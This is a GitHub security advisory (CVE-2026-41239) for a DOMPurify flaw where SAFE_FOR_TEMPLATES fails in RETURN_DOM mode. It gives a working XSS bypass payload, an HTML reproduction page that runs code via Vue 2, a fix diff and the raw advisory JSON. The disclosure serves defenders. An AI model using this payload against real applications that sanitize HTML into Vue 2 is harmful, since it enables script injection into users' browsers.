GHSA-CRV5-9VWW-Q3G8

Vulnerability from github – Published: 2026-04-22 17:32 – Updated: 2026-04-27 16:32
VLAI
Summary
DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode
Details

Summary

Field Value
Severity Medium
Affected DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db)

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

  1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}
  1. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #2 never runs
}

// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

  1. Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #1 misses it
  2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text
  3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes

Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>

Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations

Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);
Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.10"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1289",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:32:54Z",
    "nvd_published_at": "2026-04-23T16:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** \u2014 each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES \u0026\u0026 currentNode.nodeType === NODE_TYPE.text) {\n  content = currentNode.textContent;\n  content = content.replace(MUSTACHE_EXPR, \u0027 \u0027);  // {{...}} -\u003e \u0027 \u0027\n  content = content.replace(ERB_EXPR, \u0027 \u0027);        // \u003c%...%\u003e -\u003e \u0027 \u0027\n  content = content.replace(TMPLIT_EXPR, \u0027 \u0027);      // ${...  -\u003e \u0027 \u0027\n  currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** \u2014 after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n  // ... build returnNode ...\n  return returnNode;        // \u003c-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, \u0027 \u0027);\n}\nreturn serializedHTML;\n```\n\nThe payload `{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\u0027alert(1)\u0027)()}\u003cfoo\u003e\u003c/foo\u003e}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` \u2192 `\u003cfoo\u003e` \u2192 `TEXT(\"{payload}\")` \u2192 `\u003cfoo\u003e` \u2192 `TEXT(\"}\")` \u2014 no single node contains `{{`, so pass #1 misses it\n2. `\u003cfoo\u003e` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent \u2014 `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"\u003e\u003c/script\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"\u003e\u003c/script\u003e\n  \u003cscript\u003e\n    var dirty = \u0027\u003cdiv id=\"app\"\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\"alert(1)\")()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e\u0027;\n    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n    document.body.appendChild(dom.firstChild);\n    new Vue({ el: \u0027#app\u0027 });\n  \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n     if (RETURN_DOM) {\n+      if (SAFE_FOR_TEMPLATES) {\n+        body.normalize();\n+        let html = body.innerHTML;\n+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n+          html = stringReplace(html, expr, \u0027 \u0027);\n+        });\n+        body.innerHTML = html;\n+      }\n+\n       if (RETURN_DOM_FRAGMENT) {\n         returnNode = createDocumentFragment.call(body.ownerDocument);\n```",
  "id": "GHSA-crv5-9vww-q3g8",
  "modified": "2026-04-27T16:32:12Z",
  "published": "2026-04-22T17:32:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode"
}


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